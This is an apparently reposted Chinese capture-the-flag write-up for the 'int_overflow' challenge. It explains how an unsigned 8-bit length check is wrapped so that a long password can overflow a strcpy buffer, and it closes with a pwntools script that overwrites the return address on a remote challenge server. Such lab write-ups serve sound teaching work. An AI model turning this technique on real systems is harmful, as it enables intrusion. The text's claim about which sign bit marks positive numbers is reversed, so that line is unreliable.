int_overflow


題目來源:攻防世界

題目知識點:整數溢出

整數溢出原理

整數分為有符號和無符號兩種類型,有符號數以最高位作為其符號位,即正整數最高位為 1,負數為 0,無符號數取值范圍為非負數,常見各類型占用字節數如下:

類型 占用字節 取值范圍
int 4 -2147483648~2147483647
short int 2 -32768~32767
long int 4 -2147483648~2147483647
unsigned int 4 0~4294967295
unsigned short int 2 0~65535
unsigned long int 4 0~4294967295

也就是說,對於一個2字節的unsigned short int型變量,它的有效數據長度為兩個字節,當它的數據長度超過兩個字節時,就溢出,溢出的部分則直接忽略,使用相關變量時,使用的數據僅為最后2個字節,因此就會出現65539等於3的情況,其他類型變量和數值與之類似。

正文

使用ida工具進行分析得到,main函數無異常。

進入login函數分析。

發現程序可接受用戶輸入,最大為0x199長度的passwd。進入check_passwd函數進行分析。

使用一個字節,既8bit的一個變量存儲用戶輸入的密碼長度。之后進行了一個strcpy函數,在此處存在棧溢出,但是需要突破密碼長度限制。此處,可以使用整數溢出。8bit變量,且為unsigned。那么其可存儲范圍是0~255

這里,要求密碼長度為3~8,但是如果使用溢出,長度可以為259~264。我們可以任意選取一個長度,因為這個長度范圍,已經足夠我們執行棧溢出。

from pwn import * #sh = process('./abd631bc00e445608f5f2af2cb0c151a') sh = remote('111.198.29.45',32377) sh.recvuntil('Your choice:') sh.sendline('1') sh.recvuntil('your username:\n') sh.sendline('Mr_hello') sh.recvuntil('your passwd:\n') payload = 'a' * 0x18 + p32(0x804868B) + 'b' * 232 sh.sendline(payload) print sh.recvall()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM